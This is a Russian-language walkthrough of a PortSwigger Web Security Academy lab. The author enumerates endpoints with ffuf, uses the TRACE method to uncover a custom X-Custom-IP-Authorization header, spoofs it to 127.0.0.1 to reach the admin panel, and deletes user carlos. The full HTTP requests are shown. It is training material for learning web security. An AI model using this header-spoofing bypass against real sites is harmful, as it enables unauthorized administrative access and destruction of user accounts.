В данной лабораторной работе можно обойти аутентификацию к личному кабинету администратора, но для этого нужно получить кастомный заголовок HTTP запроса через отладочные методы HTTP-запросов.

Для решения нужно получить доступ к личному кабинету пользователя carlos и удалить его аккаунт. Для входа в свою учетку можно использовать данные wiener:peter.

https://0a78001904697f8084f3b89b00cf002d.web-security-academy.net/

Solution

Зайду в ЛК:

POST /login HTTP/2
Host: 0a78001904697f8084f3b89b00cf002d.web-security-academy.net
Cookie: session=Wl0WMu2OX3zIEymsSIJfaM8GBCOPEird
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad4004904fa068f811034cd00bb0086.web-security-academy.net/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0ad4004904fa068f811034cd00bb0086.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=MHHhXRJRIhF8IQ5FrMxo82QhJIgCsybx&username=wiener&password=peter

Пока ничего интересного не вижу. Поищу ручки с помощью ffuf:

cu63:~/ $ ffuf -u https://0ad4004904fa068f811034cd00bb0086.web-security-academy.net/FUZZ -w ~/wordlists/common.txt                                      
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://0ad4004904fa068f811034cd00bb0086.web-security-academy.net/FUZZ
 :: Wordlist         : FUZZ: /Users/cu63/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

Admin                   [Status: 401, Size: 2592, Words: 1044, Lines: 54, Duration: 61ms]
ADMIN                   [Status: 401, Size: 2592, Words: 1044, Lines: 54, Duration: 66ms]
Login                   [Status: 200, Size: 3185, Words: 1313, Lines: 64, Duration: 62ms]
admin                   [Status: 401, Size: 2592, Words: 1044, Lines: 54, Duration: 64ms]
analytics               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
favicon.ico             [Status: 200, Size: 15406, Words: 11, Lines: 1, Duration: 68ms]
filter                  [Status: 200, Size: 10743, Words: 5064, Lines: 199, Duration: 80ms]
login                   [Status: 200, Size: 3185, Words: 1313, Lines: 64, Duration: 65ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 63ms]
my-account              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
:: Progress: [4686/4686] :: Job [1/1] :: 37 req/sec :: Duration: [0:01:29] :: Errors: 0 ::

Хмм… Будто бы мне на что-то намекают. Пойду смотреть этих ваших админов) Выдало ошибку:

Admin interface only available to local users 

Закину запрос в Repeater и попробую изменить GET на OPTIONS:

HTTP/2 405 Method Not Allowed
Allow: GET, POST
Content-Type: application/json; charset=utf-8
Set-Cookie: session=46hsgkj2fGn2rQC2m7HDAU5Bj5RM1AgR; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

Пока безуспешно. Может быть TRACE? Этот метод используется для отладки. Сервер должен нам отравить полученный пакет обратно:

HTTP/2 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Content-Length: 682

TRACE /login HTTP/1.1
Host: 0a78001904697f8084f3b89b00cf002d.web-security-academy.net
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-language: en-US,en;q=0.5
accept-encoding: gzip, deflate, br
referer: https://0a78001904697f8084f3b89b00cf002d.web-security-academy.net/
upgrade-insecure-requests: 1
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: same-origin
sec-fetch-user: ?1
priority: u=0, i
te: trailers
cookie: session=F4pNxow1kvc4kNvojK2id2aDac4svg4e
Content-Length: 0
X-Custom-IP-Authorization: 91.233.170.191

Вот этот параметр выглядит больно подозрительно: X-Custom-IP-Authorization: 91.233.170.191. Попробую заменить его на localhost:

HTTP/2 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Content-Length: 677

TRACE /login HTTP/1.1
Host: 0a78001904697f8084f3b89b00cf002d.web-security-academy.net
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-language: en-US,en;q=0.5
accept-encoding: gzip, deflate, br
referer: https://0a78001904697f8084f3b89b00cf002d.web-security-academy.net/
upgrade-insecure-requests: 1
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: same-origin
sec-fetch-user: ?1
priority: u=0, i
te: trailers
x-custom-ip-authorization: 127.0.0.1
cookie: session=F4pNxow1kvc4kNvojK2id2aDac4svg4e
Content-Length: 0

Сработало. Мое значение не перетерлось. Подставлю его в GET-запрос к странице админа:

GET /admin HTTP/2
Host: 0a78001904697f8084f3b89b00cf002d.web-security-academy.net
Cookie: session=F4pNxow1kvc4kNvojK2id2aDac4svg4e
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a78001904697f8084f3b89b00cf002d.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
X-Custom-Ip-Authorization: 127.0.0.1

Получилось)

IMG

Для удобства сделаю это в браузере. Для этого нажму правой кнопкой мыши на мой запрос и выберу пункт Show response in browser. Теперь удалю пользователя, включив проки, чтобы подставить нужное значение:

GET /admin/delete?username=carlos HTTP/2
Host: 0a78001904697f8084f3b89b00cf002d.web-security-academy.net
Cookie: session=lxk7eSbUwQylN3FVHqgQ6Np18IyXaYvk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a78001904697f8084f3b89b00cf002d.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
X-Custom-Ip-Authorization: 127.0.0.1

Пользователь удален, а значит лаба решена.

IMG